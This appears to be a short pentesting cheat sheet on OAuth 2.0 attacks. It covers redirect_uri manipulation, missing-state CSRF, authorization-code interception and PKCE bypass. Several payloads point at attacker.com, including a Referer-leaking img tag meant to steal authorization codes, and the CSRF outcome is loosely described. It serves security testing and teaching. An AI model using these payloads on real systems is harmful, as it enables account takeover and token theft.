sunilgentyala OAuth 2.0 Attacks
Phase 1 — Recon
Map the OAuth flow: authorization endpoint, token endpoint, redirect URIs, scopes
Check for: state parameter presence, PKCE enforcement, redirect_uri validation strictness
Attack 1 — Redirect URI Manipulation
# If server does prefix matching only:
redirect_uri=https://client.com.attacker.com/callback
# If server allows subpaths:
redirect_uri=https://client.com/callback/../attacker-path
# If server allows ports:
redirect_uri=https://client.com:8080/callback
# If regex is used:
redirect_uri=https://attacker.comclient.com/callback
redirect_uri=https://client.com@attacker.com/callback
Attack 2 — State Parameter CSRF
If no state parameter (or predictable state):
1. Attacker crafts an authorization URL without state
2. Sends it to victim
3. Victim clicks, logs in, gets redirected with `code`
4. Attacker uses the code (via CSRF injection) to bind attacker's account
5. Result: attacker logs in as victim
Attack 3 — Authorization Code Interception
Via Referer header:
<!-- On a page with a third-party resource: -->
<img src="https://attacker.com/steal">
<!-- If victim visits the redirect page, Referer header sends the code to attacker -->
Via open redirect:
redirect_uri=https://client.com/redirect?url=https://attacker.com
Attack 4 — Implicit Flow Token Theft
# In implicit flow, access_token appears in URL fragment (#)
# If the app passes it to a third-party analytics/CDN script:
document.referrer / window.location.hash → token leaked to third party
Attack 5 — PKCE Bypass
If PKCE is implemented but code_verifier is not validated server-side:
Send authorization request with any code_challenge
Exchange with any code_verifier
→ If server accepts, PKCE is cosmetic
Tools
- Burp Suite — intercept and modify OAuth flows
- oauth-scan — automated OAuth testing
OWASP Mapping
- A07:2021 — Identification and Authentication Failures